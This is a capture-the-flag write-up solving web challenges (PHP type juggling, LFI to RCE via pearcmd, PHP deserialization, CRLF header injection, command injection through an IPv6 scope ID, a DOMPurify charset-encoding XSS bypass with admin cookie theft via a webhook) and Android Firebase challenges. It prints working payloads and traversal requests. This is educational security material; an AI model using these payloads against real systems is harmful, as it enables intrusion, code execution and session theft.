Web
Sourceful Egg
Analysis
First you need to send a POST
request with the data egg
to access inside the if
block.
1 | if (isset($_POST['egg'])) { |
Now inside the if
block there are two functions
you need to consider.
eggSecret Function
1 | $secretHash = '00e39786989574093743872279278460'; //can remove the first '0' |
Php is a bit weird, if you encrypt 240610708
with hash.. the result 0e462097431906509019562988736854
will be the same as 0
but it only works in one condition, which is when using ==
operator.
md5(240610708) = 0e462097431906509019562988736854 = 0 (when ==)
So if we are comparing 0e462097431906509019562988736854
and 0e39786989574093743872279278460
with ==
it is technically true because 0 == 0
egg Function
1 | $egg = $_POST['egg']; |
That preg_match("/^(.*?)+$/s", $egg)
condition is vulnerable to ReDoS, to bypass it just spam as many AAA's
as you can.
Solve Script
1 | import requests |
King Brews
Analysis
This is blackbox challenge so I can’t show you the source code.
If you press any menu, you will be sending GET
request with the parameter page
like so:-
http://135.181.88.229:50003/?page=about.php
Solve Script
To test if the website is vulnerable to LFI, you can try to do the good ol’ trick ../../../../
http://135.181.88.229:50003/?page=../../../../../../etc/passwd
If you somehow managed to read the /etc/passwd
which is a sensitive file that means the website is vulnerable to LFI.
So now, all you need to do is find the flag, the challenge creator actually provided a hint where the flag is located.
If you hover on that button, it redirect to menu.php
, so let’s try to find out how to read menu.php
You can actually chain LFI
to RCE
if the code allows you to include php wrapper
in input or if the website has pearcmd
enabled.
In this case I’m using this method instead Pearcmd LFI to RCE
1 | import requests |
Secret Access (Unintended)
Analysis
We need to send both secret
and code
parameters using GET
request.
1 | if (!isset($_GET['secret']) || !isset($_GET['code'])) { |
Right after that there are couple of header
request that you need to include to follow the if
condition requirement.
1 | if (!isset($_SERVER['HTTP_X_REMOTE_IP']) || $_SERVER['HTTP_X_REMOTE_IP'] !== '127.0.0.1') { |
Then, you need to find out how to decode the secret
value from this function, actually, the intended solution is to do php type juggling
but I managed to decode everything one by one and URL Encode
the values lol.
1 | function is_valid_secret($secret) { |
The secret
values you should get +x%18PBP_x-%3Dr%3Dc%3D%22%3Do%3D
.
Next we have is_valid_code()
function, for this one you need to do php type juggling
but using empty array, so code=[]
.
1 | function is_valid_code($code) { |
The last function is actually to ensure that the X-AUTH-KEY
header to have a specific pattern of value
1 | function is_valid_auth_key($key) { |
substr($key, 0, 5) === "auth-"
- Must start with exactly “auth-“strlen($key) === 10
- Total length must be exactly 10 characters
Solve Script
1 | import urllib.request |
Vault
Analysis
When you access the website, there is a input for a Vault Sequence
. The end goal of the challenge here is for you to insert a valid sequence that will eventually make the $vault_open
to be true
.
1 |
|
First step, is to send a POST
request with the parameter of sequence
, the value must be encoded in base64, if it is empty it will show the DANGER ABORTING
output.
1 | if ($_SERVER["REQUEST_METHOD"] === "POST") { |
Here, after decoding it from base64, it will check whether your input is in a form of php serialization format
1 | if (!($validSequence = unserialize($base64DecodedSequence))) { |
To make a valid php serialization format that is an instance of sequence, we need to follow the sequence class
that is created inside sequence.php
as follows.
1 | class Sequence { // name of class "Sequence" with 8 characters |
Object Part
O:8:"Sequence":2
- O = Object
- 8 = Length of class name
- “Sequence” = Class name
- 2 = Number of properties
Sequence Part
{s:10:"vaultCreds";a:0:{}s:10:"guardCreds";a:0:{}}
First property:
- s:10:”vaultCreds” = Property name
- a:0:{} = Empty array with the size of 10
Second property:
- s:10:”guardCreds” = Property name
- a:0:{} = Empty array with the size of 10
Combining both parts together now we have a valid sequence!O:8:"Sequence":2{s:10:"vaultCreds";a:0:{}s:10:"guardCreds";a:0:{}}
Then the value of vaultCreds from bankPin
object will randomly generated and assigned to the property vaultCreds of validSequence
object.
1 | for ($x = 0; $x < 10; $x++) { |
Lastly, it will compare the values of vaultCreds to guardCreds.
1 | for ($z = 0; $z < 10; $z++) { |
The exploit here is actually to point the property of guardCreds to vaultCreds, therefore regardless what will happen to the value of vaultCreds, eventually it will always be the same as guardCreds, since guardCreds is pointing to vaultCreds :))
O:8:"Sequence":2:{s:10:"vaultCreds";a:0:{}s:10:"guardCreds";R:2;}
Don’t forget to encode it in base64!
Protecc
Analysis
This website is running on flask, and at first glance, I thought it is related to XSS since the input looks like it is reflected to the page like so
But upon further research, I guess I was wrong because of Jinja2’s autoescaping input which means that any special characters like <, >, &, ", etc.
will be converted to HTML entities, plus there is no bots in the source code provided.
1 | return render_template('index.html', protectionName=setName) |
1 | <body class="bg-gray-100 text-black dark:bg-gray-900 dark:text-white"> |
So let’s try to analyze the the app.py
and see what we can find.
1 |
|
So at /verifier
endpoint, if we want the website to render the flag, we need to send in an input
which is the value of setName
parameter, that will eventually make the server
to give response with these headers:-
- X-XSS-Protection: 1
- Protection-RCE: 1
- Protection-Secret: 1
- admin: true
Any order is fine, and the value can be anything, EXCEPT for admin, the value must be true
.
The question here is, is it possible for us to modify the response header to meet the conditions?
Well, thanks to /
endpoint there is a default
function that allows us to inject our input to the response headers!
1 |
|
Let’s try to understand it bit by bit. By default, if we send just an empty string
. These response headers will be included in the output for sure.
1 | headers = { |
1 | HTTP/1.1 200 OK |
Now if we input any values for setName
, for example the value test
, there are 2 more headers pops up in the response headers!
However, only 1 of them meet the conditions, the second response header that is included is not even inside the list of condition :T
- X-XSS-Protection: 1 ✅
- Protection-test: 1 ❌
1 | HTTP/1.1 200 OK |
So to meet the conditions we were left with 3 more response headers. How do we modify the input so that we can include all of them in the response header?
- X-XSS-Protection: 1 ✅
- Protection-RCE: 1
- Protection-Secret: 1
- admin: true
Let’s try Protection-RCE: 1
first since it is the easiest, just input RCE
we don’t need to include the values : 1
, since it is added by default to the last response header that is created.
- X-XSS-Protection: 1 ✅
- Protection-RCE: 1 ✅
1 | GET /?setName=RCE HTTP/1.1 |
Now to include one more response header lets say Protection-Secret: 1
, you need to find out how to create a new line in response header. In python/flask it is possible to do that by using %0d%0a
.
1 | GET /?setName=RCE%0d%0aProtection-Secret HTTP/1.1 |
But we can’t set its value to : 1
because… the char :
is blacklisted :T
1 | def filter(input): |
To bypass the function just URL Encode
the blacklisted characters 2 times
. For non-special characters like admin
can be url encoded by using this website or just create a script on python.
- ‘:’ will become
%253A
- ‘admin’ will become
%2561%2564%256D%2569%256E
- ‘true’ will become
%2574%2572%2575%2565
1 | GET /?setName=RCE%253A%201%0d%0aProtection-Secret HTTP/1.1 |
And now we are left with the last header which is admin: true
. As stated before just double url encode it :))
1 | GET /?setName=RCE%253A%201%0d%0a%2561%2564%256D%2569%256E%253A%20%2574%2572%2575%2565%0d%0aProtection-Secret HTTP/1.1 |
Just for your information the payload that we are using right now will only work if we directly put it inside the input form and not at the URL, both input form and URL process the payload differently, for example browsers usually auto-encoding special characters again at the URL. :T
Ping as a Service
Analysis
This website is really simple, nothing crazy going on…
1 | #!/usr/bin/env python3 |
At first glance, it looks like the website is vulnerable to command injection
due to this part of code. It directly uses the IP
parameter and append it at the end of the command ping -c 2 {IP here}
.
1 | def ping(): |
Technically, if I try to send in input like 127.0.0.1; whoami
. It should execute the first command which is to ping 127.0.0.1
and then proceed with the second command whoami
right..? Welp it doesn’t work at all, I keep on getting You supplied an invalid IP address
.
This is because of the ipaddress.ipaddress()
function finds out that all of the IPv4 Address
that we are trying to ping looks funny, in returns, gives us the ValueError
output.
1 | myIPaddress = ipaddress.ip_address(user_supplied_IP) |
I myself not a fan of reading docs, but decided to read it again and luckily this time found something suspicious.
Optionally, the string may also have a scope zone ID, expressed with a suffix %scope_id. If present, the scope ID must be non-empty, and may not contain %. See RFC 4007 for details. For example, fe80::1234%1 might identify address fe80::1234 on the first link of the node.
Therefore, I try to use IPv6 address together with a scope zone ID something like this request 2001:db8::1%1; ls
(without knowing the functionality of it ofc) and somehow it accepts the input together with the command injection payload :))
Impossible XSS
Analysis
Looking at the tree structure of the website, I noticed that there is bot.js
, and inside it there is a puppeteer
library included, therefore there is a high chance that this challenge is related to XSS
.
Puppeteer
is a headless browser automation tool that can simulate real browser interactions. In CTF challenges, it is commonly used to simulate an admin bot
.
1 | . |
This website has 2 endpoints that we can visit
/
/report
At /
endpoint which is most likely where the XSS
vulnerability occur because there are no other place where we can reflect
our input.
1 | fastify.get("/", (request, reply) => { |
I actually got stuck here for a couple of days because I can’t find any payload that can somehow pop an alert
here because of the DOMPurify sanitization
function.
Then I start to google information that is related to DOMPurify bypass
and turns out that the only way for me to pop an alert is by finding 0 day
for that specific library 💀.
DOMPurify Misconfig
I find that really impossible so I start digging for more information and come across this article by Seokchan Yoon.
Turns out there is actually a possibility to bypass DOMPurify
ONLY IF the developer misused/misconfigured the function.
But again if you take a look at the source code, it is way too simple that you couldn’t even find out what is misconfigured :T
1 | const window = new JSDOM("").window; |
So I started asking for hint:-
- Is it related to mXSS?
- Which then lead to another hint :)
Content Type Header Exploit
If you take a look at this code snippet right here, the Content-Type
is actually missing something, which is charset
initialization.
1 | reply.status(200).header("Content-Type", "text/html").send(clean); |
1 | GET /?input=test HTTP/1.1 |
Usually it is set to UTF-8
, but lucky for us here the developer forgot to set it, therefore we can use any type of encoding
we want to break the HTML
context.
We can try to replicate this brilliant example here by Stefan Schiller.
1 | GET /?input=<img alt="test1"><img alt="test2"> |
So technically our payload here isn’t breaking any rules of DOMPurify
so it will not sanitize anything.
To change the charset from ASCII / ISO-2022-JP
(on default) to something else like JIS X 0208 1978
we need to use the escape sequence
which is url encoded like-so %1B
, following with a specific value $@
to make the browser ‘sniff’ and decode all bytes with JIS X 0208 1978
. So combine both of them it will be like this %1B$@
.
Now what we can do here is insert the escape sequence
inside the alt
attribute value just to see if it managed to break the HTML context
.
1 | GET /?input=<img alt="%1B$@"> |
As you can see here it definitely did, even the DOMPurify
can’t sanitize this payload, by right it should’ve enclosed the img
tag like so <img alt="%1B$@">
. However, the escape sequence value ends up consuming both the closing double quote
and the closing angle bracket
.
We are getting close, so now we need to change the charset from JIS X 0208 1978
back to ASCII / ISO-2022-JP
using this escape sequence
, %1B
followed with this value (B
, to enable us to inject the rest of the ASCII
payload in this case we will be using onerror
attribute to pop an alert
.
1 | GET /?input=<img alt="%1B$@">%1B(B<img alt=" src=x onerror=alert('yo')//"> |
Let me explain the second part of the payload %1B(B<img alt=" src=x onerror=alert('yo')//">
%1B(B
- to ‘sniff’ the browser back toASCII / ISO-2022-JP
alt="
- why alt with one tag? because toenclose
theconsumed double quotes
from the previousescape sequence
tricksrc=x
- intentionally fires theonerror
attribute after since x isinvalid
url/imageonerror=alert('yo')
- pop an alert box :)//
- is used to comment out the rest of the payload because, the first image tag is not closed"
- is used to close the second imagealt
attribute values>
- to close the rest of secondimg
tag
Finally, it works!
Solve Script
Now steal the cookie from admin by reporting the payload to /report
endpoint by using webhook
.
1 | POST /report HTTP/1.1 |
References
- https://new-blog.ch4n3.kr/bypassing-dompurify-possibilities
- https://x.com/kevin_mizu/status/1733086824518787473
- https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/#technique-2-breaking-html-context
- https://x.com/terjanq/status/1876654801397911931
Mobile
Who’s that Pukimon
First off, try to get the source code of the apk by either unzipping
normally or you can use MobSF Framework
.
Analyzing the source codes, there are 7 potential activities files
- io.eqctf.pukimon.MainActivity
- com.google.firebase.auth.internal.GenericIdpActivity
- com.google.firebase.auth.internal.RecaptchaActivity
- androidx.credentials.playservices.HiddenActivity
- com.google.android.gms.auth.api.signin.internal.SignInHubActivity
- com.google.android.gms.common.api.GoogleApiActivity
- com.google.android.play.core.common.PlayCoreDialogWrapperActivity
By looking at the names io.eqctf.pukimon.MainActivity
is definitely the MainActivity file and apart from that com.google.firebase.auth.internal.GenericIdpActivity
and com.google.firebase.auth.internal.RecaptchaActivity
gives us a clear view that this apk is using Firebase
as its database.
Content of MainActivityKt.java
So this file can be found inside io.eqctf.pukimon.MainActivity
, I prompted it to gpt cuz I’m bad at reading code.
This function here checks if our input converted to hex matches the value 5368726f6f6d6973686965
.
Convert Hex to ASCII
5368726f6f6d6973686965 == Shroomishie
1 | private static final boolean a(String str) { |
When correctly guessed, it logs the flag, you can retrieve the value either by reading the source code
or by using adb logcat
command.
1 | byte[] decode = Base64.decode("AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9", 0); |
Capture that Pukimon
This challenge you need to intercept the request that the mobile is making to Firebase
. How do I know that it is making some kind of communication to Firebase
?
Inside the same file if your input is correct which is Shroomishie
it will take that input and use it as a path to fetch data from Firebase
1 | private static final boolean a(String str, final Function1<? super String, Unit> function1) { |
So to intercept the communication just use proxy tools like Burp Suite
or HTTPToolkit
but you need to remember… that the traffic is using websocket
and not HTTP
.
As you can see here there is a GET
request to s-usc1f-nss-2568.firebaseio.com
, just take a look at the responses, the flag is in one of em.
Cook that Pukimon
Lastly if you use apktool to decompile the apk, you noticed that there is strings.xml
inside res/values
.
If you take a look inside it, there are a couple of sensitive
information inside it.
1 | <string name="gcm_defaultSenderId">402409561826</string> |
Now for this part I need refer to someone else writeups to understand how to connect to Firebase
since I have no experience in using it. Inside the article there is a dart script that will be able to extract informations from the database.
Here is my own script, I prefer to use JS instead.
1 | const { initializeApp } = require("firebase/app"); |